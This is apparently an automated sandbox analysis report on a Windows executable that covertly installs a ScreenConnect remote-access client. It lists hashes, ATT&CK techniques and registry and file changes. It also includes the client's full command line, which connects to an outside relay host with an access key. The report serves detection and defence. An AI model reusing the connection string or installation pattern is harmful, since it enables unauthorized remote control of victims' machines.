1c7dfc929d8e92aee949babc920e7994de5ef98eb9977e668f51406abed2de94

Analysis

max time kernel
117s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-11-2024 22:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1c7dfc929d8e92aee949babc920e7994de5ef98eb9977e668f51406abed2de94N.exe
Size

5.2MB
MD5

dbd8e0fb9ecd8bb7d275c66d650066f0
SHA1

c75890c60f4faaba669260cbad018ed8b2381e31
SHA256

1c7dfc929d8e92aee949babc920e7994de5ef98eb9977e668f51406abed2de94
SHA512

148b5a41180c48f458beba22d0f20cf76136ab2ad0622a957ff2c771d8bbfe9190a2fd95f2d47f0e7e0d9ae9ba9eb73014d0e5545c5ef7545e7e1219424c93aa
SSDEEP

98304:yps6efPfBOPvLtabi4X0MV+dYdcGt7VIb4:0fefPJws3V+a

Score

8^/10

discovery persistence privilege_escalation

Malware Config

Signatures

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

ScreenConnect.ClientService.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\ScreenConnect Client (6ee41f91e0356b36)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (6ee41f91e0356b36)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=fw396back6.site&p=8880&s=0ef4e254-4ad0-4149-9de9-9d29b9ca6ae0&k=BgIAAACkAABSU0ExAAgAAAEAAQAh9bOsei5K5vIJDnPhKls%2biGM39asuRHfnvVllACipdmLgWh32OGpscJN79La1W4aR8OMfoKYaOS3v5ZGE32ciouAfxFBwCbiQs0x7sHJp3sbNmvVKC7QPIpogrcDpbCEn%2f4VAMqbkbUoE%2bPnhjHFiuGHGL%2b%2fsr8ScxspCAy6iRK2rijP1eK%2bfZ%2f8OmtIxNHfw3iiTATFowZ8X%2bb9i%2fnTIOljL%2fqYjPRq4WRBkIWbBgo2NkKHdWcXSlw38SiA%2bZ5qO4Z2VvuJoTH5DS%2fgrJ3peABETazbJLEr8cKYx0emj39NjikGEbb%2fXjjiAr5k7ew%2bAGSVqKCPJnRwFcfUwwqml&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAwqtlSXb%2bSkqSe2VONdzxVQAAAAACAAAAAAAQZgAAAAEAACAAAAAn%2bTj0ECpVsmirHk5SBisheZKBYbpKp64Z%2bHcOGORq9gAAAAAOgAAAAAIAACAAAAB8OX5%2fJRkKEpX7m81aIpnE6%2byEchcTnE56ShiIO8L2UaAEAABk8wHRNiwVL3L39JeGyVjUY3LOOOCUsfw59x6vZxSupr2PkpP7ncnDscvPV9ynz6b5JYS2jCqemS3a5NFMX7SvFzyaPUIIPMR2VjB7htcqaAHKb2t4EP9mkR1q3KSumuJ2ekMgKNhilqbJj%2bopI4fBYX%2fGA2%2bFzctcp%2bJsPD0fWMaATR%2bOXpJLRy%2bR3o5CxoDCRMqPkLUQu1gHlggTAHScAqYP507pkL%2b5ujJTKNXQGEgOkXHaa7yMfqRLv6tTTfIU2X0Ij22Ws9d1YF41xr8kMLr41MQZRBIpQJYCMs1G1OJHB8U%2bRduq6Z%2bj4URBS9E9zGAjx3DIGHYGZKP6Szm8b5d8iUxz7FRJXu03P2a%2f9ydQ1qc%2f7u8b6lE2YvUJsVqVnNcQwnFI721OUY%2ft%2b1YgJ%2fuq1R%2b93LPxHXhXlmgMGRuWRL6%2fb8bBCrq6x%2fNgw1NBZFhhx7HteIR8Cdd7uWtzM0aB6nYQdTdERC%2f%2f%2bl4PvLHVb9QLWzlzlp4Lh7wCYNxX%2browg0akJvrWZ0%2fpgzPpPwbkm8dpxK%2fJesnyMlTYdJ%2bNYtm2lJwRqxFPwsijnHAi%2fLylW9hnceDYMG2gHVWX8RQkU9AaXkkH4DAHGqYLRhW85owBsxDDH9oUw9qCVfIb3ldwHdTpS%2bW8WtLopTXxenH2eCKz56GRKX8%2fhJAJPFlIjLU2lxQ7PRjBXnAH0ehyroVkPUaY4W%2fleCM0SyIn8uMGT2kKrr81I%2fBFxj3hB7IFuhk6NRvHB35AEiWL9V4UErjKyg6q6g86t%2bY%2bWBohw%2bWdfcvvZNmV2vdFmKwvRu9TiQ%2b%2baUMNn4tZEX7PoJX0h82Vq3veOWtBttfp5%2f%2brgqoMScgWITX31WIe6ZyZ8yyS3m%2fLO14Whrvlfs0pat0%2f2kTim8S6Y0%2bTDQTRSKiSFo0u5Y%2bKbcteleCwIYrRAGxbgXVIqUDm7tGv3AkBAZqGGEWbzCxjuiVTS3TfkmzLaTIhLhtClBaj4qBdU5RuJALVClV4zGPhl2CJxpbqB5KBK47CBhTE0xYSDe6PMC0h0fe6NRUAyRY18QZkUxSL7z38%2fX3B7gCIRfrw5XV9hnHAc3uDSiNMghyeGtXy%2fJni5LEiHQQhVfZaIs1UCsf8zCqTVaO7T4r24UhbUttLN6Q5xDSYkWvxvAkTi768cx0xZIgtSOxlGjbdrFxz%2fVi4Bt%2bi%2bP2awl%2bgEPSyf3N1kqJQXKb54pwwFIaYunVC9OlgNGp4PXfBjy7FE8xH%2f7sexnrHbQOYycoL5j59Vw4NSZmF%2fpsRE7A5csXRI8QJqEeNGS2offe1bDREw%2fII78W%2b7YMKVV5vJZR4LJ9t1PwS9SctOHofHGMnnykKcahl45IQR4w3WlJYP%2bCCAPvih%2b4IVx%2bQ%2bFxvGcFD0IJYyZHSlvT5T2ltcvK75ndYMX4nLgfPuTXd347ZCaFH9J16%2fOM3uNIMG9MrleTAguAb0Ge%2bY5htqUjCxvp0zls8myf9N093pEwxBnXxEjMiwopArnUHd0TnzWA7sJ9thoOqMgCSjSrf3EiK9sp5Ledk2Xc9w%2bYWlhV%2fnhLpg42GbZIl52sWWUAAAABIbXNnE7L4NIStNN%2fU7wFtp6iBioNgexwYJx4utS%2fUjwQM7PvPpc5mywIw5oNGknUsRQbWkVaRWjm0AhV%2fF6s2&t=Special&c=&c=Beanie&c=NewMoble&c=&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

msiexec.exemsiexec.exe

description	ioc	process
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe

Drops file in System32 directory 2 IoCs

Processes:

ScreenConnect.ClientService.exe

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6ee41f91e0356b36)\qoe3cpr1.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (6ee41f91e0356b36)\qoe3cpr1.newcfg	ScreenConnect.ClientService.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Drops file in Program Files directory 19 IoCs

Processes:

msiexec.exe

description	ioc	process
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\web.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (6ee41f91e0356b36)\Client.resources	msiexec.exe

Drops file in Windows directory 15 IoCs

Processes:

msiexec.exeMsiExec.exeDrvInst.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSIFE5D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI33.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{6391B2AC-E5CA-19AB-5C27-1D22905FE785}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\f76fc8b.msi	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\f76fc88.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{6391B2AC-E5CA-19AB-5C27-1D22905FE785}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\f76fc89.ipi	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File created	C:\Windows\Installer\{6391B2AC-E5CA-19AB-5C27-1D22905FE785}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\f76fc89.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIFDFE.tmp	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File opened for modification	C:\Windows\Installer\f76fc88.msi	msiexec.exe

Executes dropped EXE 3 IoCs

Processes:

ScreenConnect.ClientService.exeScreenConnect.WindowsClient.exeScreenConnect.WindowsClient.exe

pid process

2384 ScreenConnect.ClientService.exe
740 ScreenConnect.WindowsClient.exe
2456 ScreenConnect.WindowsClient.exe

pid	process
2384	ScreenConnect.ClientService.exe
740	ScreenConnect.WindowsClient.exe
2456	ScreenConnect.WindowsClient.exe

Loads dropped DLL 23 IoCs

Processes:

MsiExec.exerundll32.exeMsiExec.exeMsiExec.exeScreenConnect.ClientService.exe

pid	process
2424	MsiExec.exe
2848	rundll32.exe
2848	rundll32.exe
2848	rundll32.exe
2848	rundll32.exe
2848	rundll32.exe
2848	rundll32.exe
2848	rundll32.exe
1444	MsiExec.exe
1880	MsiExec.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe
2384	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

ScreenConnect.ClientService.exe1c7dfc929d8e92aee949babc920e7994de5ef98eb9977e668f51406abed2de94N.exemsiexec.exeMsiExec.exerundll32.exeMsiExec.exeMsiExec.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1c7dfc929d8e92aee949babc920e7994de5ef98eb9977e668f51406abed2de94N.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

ScreenConnect.WindowsClient.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

ScreenConnect.WindowsClient.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 52 IoCs

Processes:

DrvInst.exemsiexec.exeScreenConnect.WindowsClient.exeScreenConnect.ClientService.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	ScreenConnect.ClientService.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ScreenConnect.ClientService.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	ScreenConnect.WindowsClient.exe

Modifies registry class 37 IoCs

Processes:

msiexec.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ee41f91e0356b36\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (6ee41f91e0356b36)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CA2B1936AC5EBA91C572D12209F57E58	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\CA2B1936AC5EBA91C572D12209F57E58\Full	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\SourceList\PackageName = "setup.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-6ee41f91e0356b36	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-2FBC-7CBC586BA7C8}	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ee41f91e0356b36\shell	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2FBC-7CBC586BA7C8}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (6ee41f91e0356b36)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\Version = "386465802"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\SourceList\Media\1 = ";"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\Clients = 3a0000000000	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ee41f91e0356b36\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ee41f91e0356b36\shell\open	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\ProductIcon = "C:\\Windows\\Installer\\{6391B2AC-E5CA-19AB-5C27-1D22905FE785}\\DefaultIcon"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\6ee41f91e0356b36\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\6ee41f91e0356b36\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-6ee41f91e0356b36\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ee41f91e0356b36	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-2FBC-7CBC586BA7C8}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\ProductName = "ScreenConnect Client (6ee41f91e0356b36)"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\AdvertiseFlags = "388"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\961C530BE78C8552E64EF1190E53B663\CA2B1936AC5EBA91C572D12209F57E58	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ee41f91e0356b36\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-6ee41f91e0356b36\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2FBC-7CBC586BA7C8}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\961C530BE78C8552E64EF1190E53B663	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-2FBC-7CBC586BA7C8}\ = "ScreenConnect Client (6ee41f91e0356b36) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\PackageCode = "CA2B1936AC5EBA91C572D12209F57E58"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\CA2B1936AC5EBA91C572D12209F57E58\SourceList\Net	msiexec.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

ScreenConnect.WindowsClient.exeScreenConnect.WindowsClient.exe

